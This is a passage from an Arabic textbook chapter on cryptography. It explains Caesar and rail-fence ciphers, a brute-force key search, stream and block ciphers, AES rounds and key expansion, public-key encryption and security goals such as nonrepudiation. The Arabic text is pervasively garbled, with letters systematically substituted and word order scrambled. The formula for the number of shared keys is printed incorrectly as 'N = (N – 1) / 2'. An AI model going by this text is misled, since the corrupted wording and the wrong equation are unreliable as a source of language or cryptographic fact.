Substitution وال ،Diffusion  يُعنىَ بالTransposition. 

 ذذه الأمثلة: عقب جيداً بشكل واضح قستفهمهم  Diffusionو ال  Confusionلذا لم تستوعب ال 

 

 

Substitution Example 

ن ك تاب السيد سَنعَ   ثال م  ض م    Substitutionلنوضح به كيف تتم عملية ال  Caesar Cipherلل  "ويليام ستالينج"ر 

 "يوليوس قيصر"أنه كان يُستخدم في عهد  "Caesar Cipher"..كما يبدو من لسمه 

 

 الُمناظر لها: ciphertext، وال plaintextمايلي مثال ل 

plain:  meet me after the toga party 

cipher: PHHW PH DIWHU WKH WRJD SDUWB 

 

 .. أليس كذلك؟ Secret Keyيبدو سهلاً علينا تخمين ال 

 الآن؟ Confusion & Diffusionذل أدركت قائدة ال 

، وبالعكس لفك الشفرة عند وصول cipherلإنتاج ال  ”character in plain + 3“ذو  Keyالُمهم.. يبدو أن ال 

 .”character in cipher – 3“ ةالرسال

 

 الُمستخدم؟  Keyذذا أثناء رحلته السعيدة للى الشخص الآطر.. كيف يُمكننا تخمين ال  cipherل نفرض أننا أمسكنا بال 

يَسهُل علينا لجراء المقارنة وتخمين ال 
 .ةالحادث Substitutionsسنقوم بترقيم الأحرف جميعها كما ذو موضح بالشكل، ل 
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ل للى3+ الحرف (، أو )2+ (، أو )الحرف 1+ لما أن يكون )الحرف  Keyوالآن ذذا ال  (. 25+ )الحرف  (، للى أن نَص 

ونُشاذد المخرجات،  cipherاحتمال لنجُربِم على ذذا ال  25أي أننا لدينا  ،”of potentials Keys 25“لذاً قنحن أمام 

 السليم. Key ال وقَعنا علىللى أن نُصادف عبارة مفهومة!، حينها نكون قد 

 (، وذكذا.25 –(، ...)الحرف 2 –(، )الحرف 1 –، قسنقوم ب عَكس الُمعادلة: )الحرف cipherوبما أننا ذُنا لدينا ال 

صُها لنا ذذه المعادلة:  تُلخِّ

Plaintext = Decryption(key, Cipher) = (Cipher - key) mod 26 

 

ذيا  .Plaintextلتُنتج لنا ال  Cipherوال  Keyذي ال  Argumentsتأطذ  functionأشبه ب  Algorithmيبدو أن ال 

 لنجُرب تطبيق ذذه المعادلة ومشاذدة الُمخرجات:

PHHW PH DIWHU WKH WRJD SDUWB 
KEY…………………………………………………………………………. 

1 oggv og chvgt vjg vqic rctva 

2 nffu nf bgufs uif uphb qbsuz 

3 meet me after the toga party 

4 ldds ld zesdq sgd snfz ozqsx 

5 kccr kc ydrcp rfc rmey nyprw 

6 jbbq jb xcqbo qeb qldx mxoqv 

7 iaap ia wbpan pda pkcw lwnpu 

… 
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 وذو يعني الآتي: ”Brute-Force Attack“ذذا الذي طبقناه نُسميه 

Trying every possible key until an intelligible translation of the ciphertext into plaintext is 

obtained. 

 

م  الآن.. Substitutionال  نالقد قَه 

 .Transpositionذيا ل ننتَق ل للى ال 

 

Transposition Example 

 الُمراد لرساله. Plaintextعلى ال  Transpositionلإجراء عملية ال  ”rail fence“سنستخدم تكنيك بسيط ذو ال 

 THIS IS REALY GREAT BOOKن:  نأطذ مثال برسالة عبارة ع

 ."Block"أعلى سنقوم ب ك تابَت ها على ذيئة  Securityلتحقيق 

ن ال  blockسَنكَتُب الرسالة في صُفوف على ذيئة  سنقوم بكتابتها مرةً أطرى ولكن بالطول!،  ciphertextولكي نُكوِّ

د أيّ الأعمدة سَنَبدأ ب   Keyمع لضاقة ال   ثُم الذي يليه وذكذا..  ه  أولاً والذي سَيحَُدِّ

Key: 3 4 1 2 5……….. 

Plain: T H I S I…………….. 

S R E A L 

Y G R E A 

T B O O K 

 

رقم واحد وذو الثالث في الترتيب، ثم  Colum، بحيث نبدأ بال cipherلتكوين ال  Keyوالآن سنقوم باستخدام ال 

 في النهاية بِذا الشكل: Cipherقيكون ال  وذو الرابع في الترتيب.. وذكذا. 2رقم  Columال 

IEROSAEOTSYTHRGBILAK 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [301] 

Symmetric Cryptography 

 

 ”Cryptosystem“مفهوم ال  حيضبتو سنقومفي البداية 

كَ يُ  لنهُ   التشفير!. ، وذي عملية التشفير وقكSecurity Serviceفي تقديم ذذه ال  ةعَبرِّ عن مجموعة المعادلات الُمشتَر 

 

 :Algorithmsذذا من ثلاثة  Cryptosystemيتكون ال 

  تُستخدَم الأولى في الKey generation. 

  والثانية من أجل لجراء الEncryption. 

 جل ال لأ   ةوالثالثDecryption. 

 

 .{X, K, E, Y, D} نستطيع التعبير عن ذذه المراحل بِذه الرموز

 ،Ciphertext للى ال Y ، والEncryption لللى ا E ، والKey للى ال K ، والplaintext للى ال X حيث يَرمُز ال

 .Decryptionللى ال  D وأطيراً ال

 

 يوضح لك وظيفتهم في عملية التشفير وقَك التشفير: ةبالصفحة التالي الشكل
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م نَفس ال  Cryptosystemsبأنها ال  ”Symmetric Ciphers“ونقوم بتعريف ال  في عَمَلية التشفير  Keyالتي تَستَخد 

 وحيد بين كل طرقين، Keyقَرَضنا أن  مَجموعَة تَوَد لجراء اتصال آمن قيما بَينهم قَسَيَت م استخدام اقلو  فير.وقك التش

ه . Key Spaceقيما بينهم. وكُلما زاد ال  ”Shared Secret Key“يُعتبر   كُلما ازدادت قوتهُ وازدادت صعوبة كسُ 
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ن وسِي للى كل بين  Secret Keyولكن كيف سيتم توزيع ذذا ال  كَة بحيث نضمن وصوله بشكل آم  الأطراف الُمشتَر 

 منهم؟. 

دة بَدائل لإجراء ذذا الأمر، أبسطها أن يَحدُث ذذا التَبادُل  نُطل ق على ذذه العملية بال قيما بينهم!..  offlineتوجد ذُنا ع 

"Key Distribution Management"..سنتكلم عنها في نهاية ذذا الباب ، 

، لكن من عيوبه أنهُ لا يُقدم Asymmetric Encryptionذذا النوع من التشفير بالسُعة العالية لذا ما قورن بال  يتميز

 .Nonrepudiationلنا طدمة ال 

 

 ؟..Nonrepudiationما ذذا ال 

د للمُستَقب ل أن ذذه الرسالة التي وصلت لليه الفعل، ولم يتم الشخص الذي قام بإرسلها ب من ةقادم ،لنها طاصية تُؤكِّ

ل!. سنأتي لليها بعد قليل..  لرسالها عن طريق شخص آطر مُنتحلاً شخصية المُرس 

نَ التواصُل معي وكأنهُ  keyوحيد للتشفير والفك، قَرُبما يَقَع ذذا ال  Keyوالآن بما أن ذذا ال  م قَيَتمكن م  ذ  بيد أَحَد 

م  Asymmetric Encryptionالشخص الَمرجو!، بينما في حالة ال  من أجل التشفير و آطر من أجل قك  keyنَستَخد 

 .قي أيدي أحدذم لن يتمكن من التلاعب معنا  keysالتشفير. قلو وَقَعَ أحد ال 

حيث أن لكل عملية  كبيرة من الُمشتركين في الإتصال،أيضاً من عيوبه أنه غير مُجدي عند محاولة تطبيقه على الأعداد ال

 طاص بِم..  Keyاتصال بين اثنين ستحتاج 

ليتصل  keyسيحتاج  user1ليتواصلوا قيما بينهم. ال  groupقمثلًا: لنفرض أن أربعة أشخاص يريدون الدطول في 

مُتلف  keyسيحتاج  user2ثم  .user4، وآطر ليتواصل مع ال user3مُتلف ليتواصل مع ال  key، و user2بال 

 .user4، وآطر ليتواصل مع ال user3عنهم ليتواصل مع ال 
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لهؤلاء  keys 6وتنتهي الحفلة بتوظيف 

 .الشباب 

يُمكننا تلخيص ذذا بمعادلة تقوم 

اللازمة بناءً على عدد ال  keysبحساب ال 

parties في المصلحة. شتركينالم 

 

  N = (N – 1) / 2 

 

 وبتطبيق ذذه المعادلة مثلًا على

 Web Application  يقوم بالاتصال به

 يجعله غير مُلائم لهذه العملية. المطلوبة لذلك!. مُا keys، سنُفاجأ بالكم الهائل من ال usersالآلاف من ال 

 المطلوبة لإجراء الاتصال. Keys يُوضح تطبيق المعادلة على عدد المُشتركين وحساب كمية البالأعلى  شكلال

 .Symmetric Cryptographyالمُستخدمة في ال  Ciphersوالآن سنتكلم عن أنواع ال 

 

Stream Cipher 

د ق كرة ذذا النوع من ال  أو  Bitsمن ال  Streamيقوم بإنتاج  ”Key stream Generator“على وجود  ciphersتَعتَم 

أنه يُشترط عدم  ”Random“، يبدو واضحاً من اسمها Pseudo-Random Bitsالعشوائية أو كما نُسميها  Bytesال 

 .Streamالذي يليه في ال  Bitوال  Bitوجود علاقة رياضية بين ال 
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يُقابلهُ  plaintext digitبمعنى أنه كل  ”One bit or one byte at a time“غالباً يتم انتاجها على ذذا النحو: 

random bit. 

 Keyذذا ال  ذُنا!. Key، أي أنها ستكون ال  Key Streamبال random bitsونُطل ق على ذذه السلسله من ال 

 ين المشتركين في الإتصال.سيمتلكهُ ك لا الطرق

ذا لنتاج ال  Plaintext digitsوال  Bitsبين ذذه ال  XORثم نقوم بعمل  هَة  .Ciphertextل يَتم بِ  ندَ وصوله للج  وع 

. مايلي شكل plaintextب نفَس الطَريقة لاست عادة ال  Decryptionل عَمَل ال  Keyالأطُرى يَت م أيضاً استخدام نفس ال 

 :ةالحاصل processيوضح ال 

 

 

 
 

 

 وذذا شكل آطر يوضح نفس العملية:
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 ..؟ XORلعلك تتسائل.. لماذا نقوم باستخدام ذذا ال 

ندما نأتي بِذه ال plaintextالسبب الأول، لكي يحدث التغير في شكل الُمدطلات )ال  (، وذذا التَغيرُّ سَنحَصُل عليه ع 

bits  وندمجها مع الplaintext  لينتج الciphertext ذذه ال ،XOR  تُعتبر“Linear Function” 

It detects the ODD and the EVEN counts.  

The output will be 1 (when input bits are not matching)  

And the output will be 0 (when input bits are matching). 

 

 .Reversible Operationوالسبب الثاني، أنها تتميز بأنها 

 

ا و  ..؟”Reversible Operation“ماذا سنستفيد من كَونه 

 .ذذه XORمنه قائدة عملية ال  نفهممثال ل طذأنس

 Ciphertextذو ال  (X XOR Y)وال Y ذو ال Random Bitوال  X ذو ال plaintext digitلنفرض أن ال 
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 X لينتج نفس ال Bit Streamوذو ال  Y له مع ال XORعندما يصل للجهة الأطرى سيتم عمل  ciphertextذذا ال 

 مرةً أطرى كما يظهر. 

X  Y  X ⊕ Y 

0  0    0 

0  1    1 

1  0    1 

1  1    0 

 

 

 

Block Cipher 

سيتم تحويله للى ال  Block، ذذا ال Blockك  plaintextأو ال  messageيتعامل مع ال  Ciphersذذا النوع من ال 

ciphertext  على ذيئةBlock أيضاً بنفس ال Length. 

 
 . ciphertextوال  plaintextلاحظ أنه ثابت لل  ”b bits“وذو المشار لليه بال  Length of Blockموضح بالشكل ال 
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 الذي شرحناه من قبل؟ Transposition Cipherذل تتذكر ال 

 .Block Ciphersأحد أشكال ال  Transposition Cipherيُعَد ذذا ال 

ققط!، ولكن في الواقع لا يكون الأمر كذلك، بل يتم تقطيع  Single Blockتشفير ل الشكل السابق يوضح عملية ال

نهم يَب لُغ حجمه  Block، كُل Block أكثر منللى  plaintextال 
 .bits 128 أو bits 64م 

In the next Fig: the input to the encryption algorithm is the XOR of the current plaintext block 

and the preceding ciphertext block 

 
ظ دُطول شيء غريب في عملية ال   .. (IV)وذو ال  plaintextلأول  XORنُلاح 

 

  ..؟”Initialization Vector“قما ذذا ال 

بار ، Plaintextلها مَع ال  XOR، نقوم ب عَمَل Plaintextالخاص بال  Lengthلها نفس ال  Random Stringعن  ةلنهُ ع 

يَ لنتاج ووظيف باستخدام نفس  ”Block of Plaintext“مُُتل ف في كُل مَره يَتم تشفير نفس ذذا ال  Ciphertextتها ذ 

عَل عَملية تخمين الرسالKeyال   أصعب وأكثر تعقيداً.  ة. وذذا لج 
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 القادمة.. رحلةيدة التي سنعتمد عليها في المبعض المفاذيم الج نالدي تأعتقد الآن أنهُ أصبح

وقُمنا ب تَعريف  Symmetric Encryptionمرةً أطرى للى ما ذَكرناهُ في أول ذذه الفقرة حيثُ كُن ا نَتحدث عَن ال  سنعود

 .Cryptosystemsمفهوم ال 

 

ل  د مَبدأ ال  (Symmetric Cryptosystem)سَننتقل ل تحليل ن ظام مُتكام   في تشفير البَيانات.  Block Ciphersيعتم 

 .3DES وال AESذو ال  Symmetric Cryptosystemلعل أشهر ذذه ال 

 .AESفي جولة مُُت عة داطل ال  نذذبسوف 

 

 

AES (Advanced Encryption Standard) 
 
The Advanced Encryption Standard (AES) was published by the National Institute 

of Standards and Technology (NIST) in 2001. 

AES is a symmetric block cipher that is intended to replace DES as the approved standard for a 

wide range of applications. 

The algorithm is referred to as AES-128, AES-192, or AES-256, depending on the key length. 

 

 block، أي أن  حَجم ال byte 1تُمثَِّل  ةكُل طانطانة،  16 بلوك يتكون من Algorithmلهذه ال  inputيكون ال 

 ثُم  يُجري عليها عملية التشفير.  Blocksووضعهُ في  plaintextذذا يعني أنهُ سيقوم ب تقسيم ال  ،bits-128سَيَكون 
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، State ونُطلق عليه plaintextذُم ال ، blocks 2، ذذه الُمدطلات ذي (inputs)مُدطلات  Algorithmستستقبل ال 

 .بالأعلى كما بالشكل cipher keyالثانية ذي مصفوقة ال  inputوال 

 سيدطُل كل منهم لسلسلة من الخطوات:

 .Encryption Processستذذب للى ال  Stateال  -

 .Roundالمُستخدمة في كل  Cipher Keysليتم لنتاج ال  Key Scheduleسيذذب للى ال  Keyوال  -

ُ  من Stateال  ل نعود للى  ، ذذه Ciphertextال  تكوين دة ططوات ليتم في النهايةع  ب   Stateال ر جديد.. تَم

 ، وذي على ذذا النحو:التاليةالخطوات موضحة في الصفحة 

 .Initial Transformationالخطوة الأولى وذي ال  - 

 سيتعرض  ،ةالتسع من ذذه Roundكل متتالية.  ”rounds 9“في  Blockالخطوة الثانية وذي دطول ذذا ال  - 

 ذذا لأربع عمليات رياضية، سنتكلم عنهم بعد قليل. Stateقيه ال      

 .Ciphertextالنهائية لينتج بعدذا ال  Roundوذي ال  ةثم الخطوة الثالث - 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [311] 
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-AESال  ، وذذا لأننا استخدمناinitial transformationغير ال  (10)جميعها عددذا  Roundsنلاحظ أن ذذه ال 

 .Rounds 12 سيتم في المقابل تنفيذ AES-192. قلو قمنا باستخدام ال 128

 

ن الإجراءات، نُطلق عليها  Cipher Keyعلى الجانب الآطر يَدطُل ال  لة م  لس  كي يتم لنتاج  ”Key Expansion“في س 

(11 keys)،  الأول يُستخدم في الInitial transformationن أجل ال  Keyثم ال  ،(Rounds 9) ، ثُم  ت سعة مَفاتيح م 

 .Final Roundالأطير من أجل ال 

 

ن ال  ل الُمتعلقة بكُلٍ م   ب شيء من التفصيل. Cipher keyوال  Stateوالآن.. سَنتكلم عَن الَمراح 

 

 

The State Matrix Processes 

الخاص  Keyلإنتاج ال لكن لن نتحدث عن العمليات التي تتم ، Encryption Processسنقوم بالتركيز ذُنا على ال 

 .، سنكتفي ذنا بتوضيح مواضع استخدامهم في عملية التشفير، وسنقوم بتفصيلهم لاحقاً Roundبكل 

 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [313] 

 
 

، Rounds 9بعدذا ل  Stateبينما تتعرض ال  ققط!. AddRoundKeyتستخدم ال  initial roundيبدو واضحاً أن ال 

والآن..  .MixColumnsالأطيرة لا يتم تطبيق ال  Roundوفي ال  .Roundيتم قيها تنفيذ أربع ططوات متتالية في كل 

 .Roundsذيا لنقترب أكثر من ذذه ال 
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Initial round 

بينه  XORقنقوم بعمل  ،Key Expansionالأول في سلسلة ال  Keyنقوم ذُنا بتطبيق ططوة وحيدة وذي استخدام ال 

 كما يظهر بالشكل: State Matrixوبين ال 

 

 
 

ن كلٍ من ال  XORعَمَلية ال تَحدُث   4x4، وذكذا مع بَقية الأعمدة ل ينتجُ في النهاية Keyوال  Stateبين أول عَمود م 

State Matrix  لتبدأ في الدطول للى الRound .الأولى 

 :SubBytesحيثُ تبدأ عملية ال  ..Roundسنعَتَبر  أنفسنا الآن داطل أول 

 :عليها كما سَترى الآن SubBytesل نقَوم بتطبيق ال  initial roundل القاد مَة من ا Stateسنأطُذ ذذه ال 
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 كيفَ حَدَثَ ذذا التَحَوّل؟

 .S-Boxآطر حصلنا عليه من جدول يُسمى بال  byteب  Stateمن ال  byte..لقد تمت مُبادلة كل 

 

  ..؟S-Boxماذذا ال 

 .ةلتاليا ة، تجده في الصفحYوآطر  Xلنه عبارة عن جدول كبير له محور 

، قتكون نقطة A، وللى المحور الرأسي بالقيمة E ةبالقيم Xللى المحور  سندطل ”EA“وذو  byteقمثلًا نأطذ أول 

وبما أننا سنقوم بِذا الإجراء في  .في الصفحة السابقة اليُمنى  ةالمصفوقفي  ةأول طان، والتي تظهر في ”87“التقابل ذي 

الشكل التالي  .أيضاً. Inverse S-Boxفي حالة قَك التشفير، وبالتالي سَنحَتاج للى ال حالة التشفير، سنحتاج أن نَعك سَهُ 

 ذذه:يوضح عملية الإستبدال 
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 .”Confusion“، حيثُ كانت تُعَبرِّ عن تطبيق لم َبدأ ال SubByteانتهينا من مرحلة ال 

 ذل تتذكر مَعناه؟

 

 :نتقل للى المرحلة الثانيةوالآن سن
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ShiftRows 

 

 
ن ال  byteالأول كَما ذو، ثُم  نَقوم ب نقَل أول  rowسَنتُرك ال  الأطير، وذذا سيُسَبِّب  byteالثاني ل نضََعهُ مَكان ال  rowم 

)الثالث والرابع  bytes 2 نقليَتم ق الثالث rowوبخصوص ال ، بالأعلىلزاحة أُقُقية للبَقية للى اليَسار كما ذو موضح 

 ،الأول ولزاحة الباقين نحو اليمين byte الأطير محل ال byte ال نقل يتم الرابع rowال  ثُم   ،(محل الأول والثاني

 .بالأسفل! ةالنهائي ةالمصفوقنحصل على ل

ها لل  S-boxالتي طبقنا عليها ال  Stateتوضح ال ناحية اليمين أسفل الشكل الصورة التي تقع  * ض   .ShiftRowقوق، بعد تعرُّ
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 .”Diffusion“ذذه تُعتبر تَطبيق لم َبدأ ال  ShiftRowsية ال لاحظ أن  عمل

 ذذا جيد!..

 :MixColumns ذيا لننتقل للى مرحلة ال

 
MixColumns 

ب مَصفوقة ال  أيضاً نَوَد تَذكيرك  ”MixColumns Matrix“ب مَصفوقة أُطرى وذي ال  Stateيتم في ذذه الطريقة ضََ 

 .”Diffusion“بدأ ب أن ذذه العَمَلية تُعتبر تطبيق لم َ 

 
 

 .MixColumns Matrixسيتم ضَبه في صف من ال  Stateيوضح الشكل أن كل عمود من ال 
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 وذذا شكل توضيحي آطر:

 

 ذيا لنجُرب الأمر على المثال الخاص بنا:

 
 

 

، S-boxل حيث استخدمنا جداول ا SubBytes، كانت أولهم ال ةبَعد ثلاث مَراحل مُتتابع Stateلقد حصلنا على ال 

يأتي دور والآن  .MixColumns، ومن بعدذا للى ال Diffusionال  تطبيقاتكأحد  ShiftRowsثم دطلنا للى ال 

 :، وذيRoundالمرحلة الرابعة والأطيرة لهذا ال 

 

AddRoundKey 

 ”Round Key 1“مع ال  ةالناتجة من ذذه المراحل الثلاث Stateلل  XORحيث نقوم بعمل 

 ؟Round Key 1ماذذا ال 
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..سنُناقشها  Key Expansionالرئيسي، وذلك من طلال عملية ال  Cipher keyالذي تم انتاجه من ال  Keyلنهُ ال 

 ..بعد قليل

م بَعد ذلك دطوله مرةً أطرى للمُرور ب نَفس تل يَ  ،Round 1كَنات ج من ال  Blockفي النهاية يَتم الحصُول على ذذا ال 

 .Round 9، وذكذا حتى الوصول للى ال Round 2الأربع طُطوات داطل ال 

 
 

 Stateحيثُ يتم أطذ كل عمود من ال  .Round key 1وال  Stateشكل توضيحي للإجراء الحاصل بين ال  مايلي

 .Keyله مع العمود الُمقابل له في ال  XORوعمل 
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لخطوات أيضاً باستثناء الخطوة الخاصة العاشرة نُطب ق ذذه ا Roundلتسع مرات، ثم في ال  Roundنقوم بتكرار ذذه ال 

 .MixColumnsبال 

 

 .Cryptosystemلنُننهي به ذذا ال  Key Expansionل ذيا لننتقل للى ا ،Encryption processلقد وصلنا لنهاية ال 

 

Key Schedule 

بار Cipher Keyبأطذ ال  "Key Expansion Algorithm"تبدأ ذُنا ال  ن عَن مصفوقة مُكون ةوذو ع   bytes 16ة م 

 .bytes 176تَبلُغ و Linear Arrayلتقوم بإنتاج شيء أشبه ب 

سمَة ال  مرحلة،  11 جللأ bytes 16، بمعنى أننا سنستخدم مصفوقة مكونة من 16يكون الناتج  11 على 176وب ق 

 في ذذه ال keyأول  Cipher Keyحيثُ يُمثِّل ال ، (Initial round + 10 rounds)المطلوبة!.  Roundsوذي ال 

linear array  ليتم استخدامهُ في الinitial round ن منه بقية ال  .Keys. ثم سنكُوِّ

 

 ذيا لنبدأ!..

 :التالي الشكلمعي  تأمل
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Figure 5 

ل Cipher Keyيَظهَر لنا ال  لس  نةكأول مَصفوقة في ذذه الس  ن م  ظ بالأسفل جَدول مُكَو 
دَة، ، ونُلاح  وذذا  عَشَرة أعم 

ن ذذه الأعمدة ل كُل  م عَمود م  ن العشرة Round Keyيَدُل على أننا سَنستخَد   .م 

 

 ثم تأتي ذذه المرحلة:
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كما يظهر  ”Wi-1“، قيكون العمود الذي يسبقهُ ”Wi“الجديد بال  Round Keyحيثُ نُطل ق على أول عمود من ال 

 .(figure 6) التالي بالشكل

ندَ تكوين أول عمود من كل  ،بتطبيق ططوات سنقوم بعدذا  ققط!. Round Keyيَت م تكرارذا ع 

 

 ذذه الخطوات تكون على ذذا النحو:

 
Figure 6 
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للبقية للى  ةونضعهُ بالأسفل، مُا يؤدي لإزاحة رأسي (09)في ذذا العمود وذو  byteذي أن نأطذ أول  الخطوة الأولى

نَ الالأعلى ل م  ظ في العمود الُمنسَد   .(figure 6) 6رقم الماضي، في الشكل  Wi-1 ، كما نُلاح 

الذي تكلمنا عنه مُسبقاً، كُنا نُطل ق  S-Boxمن ذذا العمود بقيمة أطرى من ال  byteكل  والخطوة الثانية ذي تبديل

 .SubBytesية ال وعمل S-Boxال  (figure 6) 6رقم يوضح الشكل أيضاً ..”SubBytes“عليها 

Figure 7 
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ذا العَمود مَع كُلٍ من ال  XORعَمَل  ذي ةوالخطوة الثالث كما يظهر في الشكل  Rconوالعمود الأول من ال  Wi-4له 

 .Round Key 1وبِذا نكون قد انتهينا من أول عمود في ال  ، في الصفحة الماضية.(figure 7) 7رقم 

 

ل بقية الثلاث أعمدة؟  كيف سنكُم 

 XORثُم  نَقوم ب عَمَل ، (Wi) ل ذا سنسُميه .وذو المطَلوب تَكوينه round key 1ق ف على العَمود الثاني في ال حسناً.. سَنَ 

 :(Fig.8) 8 رقم التالي، بَين العَمود الذي يَسب قهُ مُباشرةً والعَمود الذي يَسب قهُ ب أربَعَة أعمدة كَما بالشكل

 .Round Key 1 اكتمال ال للى ذالنصل بِ والرابع.مع العمود الثالث  XORوذكذا نكرر ذذه ال 

 Figure 8  

 أول عمود بِا:تكلم عن ططوات تكوين نس ،Round Key 2ال بدأ تثم 
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ند تكوين أول عَمود في ال تمت قوم ب تكرار الخطُوات التي قنَ   ذل تتذكرذا؟ ،Round Key 1ع 

  أول ططوة كانت الRotWord  نقل ال وذيByte الأعلى للى أسفل. 

  والثانية كانت الSubRows  باستخدام الS-box. 

  والثالثة ذي عملية الXOR  بين ذذا العمود و الRcon  والWi-4. 

 .(Round Key 2)نكون قد انتهينا من أول عمود في ال  اوبِ.. (Figure 9) التالي.. في الشكل "ةالثالث"ر الخطوة تظه

 
Figure 9 
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 وذذه أيضاً بعض الصور التي توضح ذذه الخطوات بأسلوب جيد:
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Source: http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html 
 

 

  ،Asymmetric Cryptographyللى عالم ال  سننتقل .Cryptosystemللى ذنا نكون قد وصلنا للى نهاية ذذا ال 

 ذيا بنا..
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Asymmetric Cryptography 
 

 

 :ي ب هونعن، ”Public Key Cryptography“يُطلَق عليه أيضاً 

فتاح واحد للتشفير وقك التشفير مفتاحينتَشفير البَيانات باستخدام " ن م  ستقوم ال  .!"ل كُل شخص بَدَلاً م 

Algorithm  2ذُنا باستخدام Keys  في قناة الاتصال، المفتاح الأول ل كلا الطرقين المُشتركين(Public Key)  يُستخدم

لبيانات ملية قك تشفير ايُستخدم لع (Private Key)في عملية تشفير البيانات قَبل لرسالها للطرف الآطر، والثاني 

 القادمة من الطرف الآطر.

 ..ثرل نوضح الصورة أك

 مفتاحين لكل طرف: ..أربعة مفاتيح ةفي الحقيق ذُم  
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ل لي ال  ،Public and Private Keysل  Generateكل منا سيقوم بعمل ق الخاص  Public Keyال  Receiverسيُرس 

 به لأقوم أنا بتشفير البيانات التي أريد لرسالها لهُ.

الخاص به لنفسه!، لأننا  Private Keyالخاص بي، ويحتفظ كل  منا بال  Public Keyوأنا أيضاً سأرسل له ال 

 في قك التشفير. سنستخدمهم

ن لل  ن قك الرسالة الُمشفرة بال  Private keyذذا ب سبَب وجود عَلاقة رياضية بين الم فتاحين، تُمكِّ   .public keyم 

 ذذا شكل آطر يوضح ذذه العملية بشيء من التفصيل:

 

 
ل ال key pairلل  generateيقوم بعمل  Bيظهر أن الطرف   Aكي يقوم  ،A ب ه للطرفالخاص  public key، ثُم  يُرس 

 تشفير الرسالة ولرسالها له.استخدامه لب

 ..!ذذا جيد
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  .عمقنا في تكنولوجيا التشفير ذذه!بعد أن ت اً منطقي دعني أطرح عليك سؤالاً 

 ..؟Cryptographyماذو الهدف من التشفير من الأساس؟ أو ماذي الخدمة التي يُقدمها لنا ال 

 .لنه سؤال مهم قعلًا!

 كنولوجيا تقدم لنا قوائد عديدة، سأذكر لك أذم أربعة أذداف تُحَققها لَنا:ذذه الت

 

Confidentiality 

التي تنتقل بينهم ستكون  Dataتعني الموثوقية، وذي التي تضمن السُية أثناء التواصل بين شخصين أو أكثر، و أن ال 

 معزولة عن المحيط الخارجي، ومحفوظة السُية.

حيث يضمن المعهد أو الجامعة أن ذذه  .أو كشف درجات الطلاب والخريجين "ات المدرسيةالشهاد"مثال على ذلك 

يَج ب أن  Proofوبالتالي قهُناك  البيانات لا يَطّل ع عليها للا الطالب نفسه، وأولياء أمره، ومحل عمله أو دراسته الجديد!.

م من ق بَل الجهة أو الشخص الذي يريد نسخ  !.من ذذه الملفات ةيُقد 

 :لها مُتصر تعريفمايلي 

Is the protection of transmitted data from “Passive Attacks” 

 

”Passive Attacks“..؟   ماذذا ال

 التي يتم انتقالها بين طرقين. Dataلنها عملية الإطلاع على ال 

 يُلخص ذذا المفهوم الشكل التالي:
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Integrity 

 :يلي ماأو  ،"لامة البياناتس"نعني بِا 

Integrity Assures that messages are received as sent with no duplication, insertion, modification, 

reordering, or replay. 

 

 ”Replay“ماذذا ال 

سيقوم بعمل تعديل على  Attackerلأن ال  Activeقهو  ،Active Attacksالُمصنف تحت ال  Attacksلنه نوع من ال 

 ويُعيد لرسالها مرةً أطرى!. dataذذه ال 



 Understanding Hacking and Information Security                                                  توأمن المعلوما  ةالقرصنة الإلكتروني
 

Cryptography 
 [336] 

 
 
 

 

Authentication 

 ذذه ببساطة عملية التحقق من ذوية الأشخاص أو الأجهزة أو أي شيء!.

 مثال لهذه العملية: مايلي
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 Passwordعندما طلب من السيد بوب أن يُثبت ذويته، طلب منه شيء بعينه، ربما يطلب منه  Serverلاحظ أن ال 

.. ”Compare“سيقوم بتطبيق علاقة  Serverمعنى أنه يطلب منه شيء بعينه أن ذذا ال قبات الهوية، أيضاً كنوع من لث

لهُ ذذا ال  ةسيقوم بمقارنة قيمة محدد  .accessقإن تطابقا، سيعُطيه ال  ،userعنده بما سيُدط 

 !. ”Identification“ال  لنها تختلف عن

 قالثانية ذذه تعني الآتي:

، لنها لذاً matchلسمك مثلًا، قيقوم ذو بمقارنة ذذا الإسم بكل الأسماء التي لديه للى أن يحدُث  عندما تقوم بإدطال

 .Search. ذذا أشبه بعملية ال ”One-to-Many“علاقة من نوع 

 

 .”One-to-One“تُعتبر علاقة  Authenticationبينما ال 

 ..Authenticationال  أشكالبعض  رضعفي الصفحة التالية ن.. (!.Compare only, No search)بمعنى: 
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Nonrepudiation 
provides assurance to the recipient that the message was actually originated by 

the sender and not someone masquerading as the sender. It prevents the sender from claiming 

that they never sent the message in the first place 

 

“it prevents ether sender or receiver from denying a transmitted message” 

 

 ..؟Masqueradingماذذا ال 

  وكأنهُ  Dataشخصية أحدذم ولسال ال  انتحالب Attackerالذي يقوم قيه ال  Active Attacksلنه نوع من أنواع ال 

 الشخص.ذلك ذو 
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 Masquerading Attack:ذذا شكل يوضح ال 

 
 

 

 .Symmetric Cryptographyلا يُوقِّرذا لنا ال  -Nonrepudiation-ذذه الخاصية 

 سيتمكن من تشفير الرسالة ولرسالها لي!. Shared Secret Keyلأنه ببساطة أي شخص يمتلك ذذا ال 

Because any communicating party can encrypt and decrypt messages with the shared secret key, 

there is no way to tell where a given message originated. 

 

 .Asymmetric Cryptographyوالآن..ذيا لنعود مرةً أطرى للى ال 

 .. Asymmetric Cryptosystemكنا نتكلم عن ال 

 :قق لنا مايلينُلاحظ أنه يُح  ،الآنالجديدة التي عرقناذا المفاذيم  عرضه  علىبو

Confidentiality, integrity, and Nonrepudiation. 
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 .Asymmetric Keysسنأطذ مثال آطر نوضح به تحقيق ذذه الخصائص باستخدام ال 

 
 

ستكون على مرحلتين بدلاً من مرحلة  التشفير قكجديدة وذي أن عملية التشفير أو قُمنا في ذذا المثال بإضاقة ططوة 

رذا مرةً أطرى باستخدام ال  private keyالة أولاً استخدام ال بتشفير الرس A واحدة!. سيقوم الخاص به، ثم يُشفِّ

public key  م  A، لأن Nonrepudiationتكمُن قائدة عملية التشفير الأولى في توقير طدمة ال  .Bالخاص بالمستخد 

يتمكن أحد غيره من تشفير الُمستخدم في عملية التشفير، قلن  private key  الذو الشخص الوحيد الذي يمتلك 

نا للى توضيح أحد  ققط!، A، و A. وذذا تأكيد على أن ذذه الرسالة قادمه من Aالرسالة وادعاء أنها قادمة من  ذذا يُجرُّ

 ”Digital Signature“وذو ال  Public Key Cryptosystemsتطبيقات ال 
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 ..؟Digital Signatureماذذا ال 

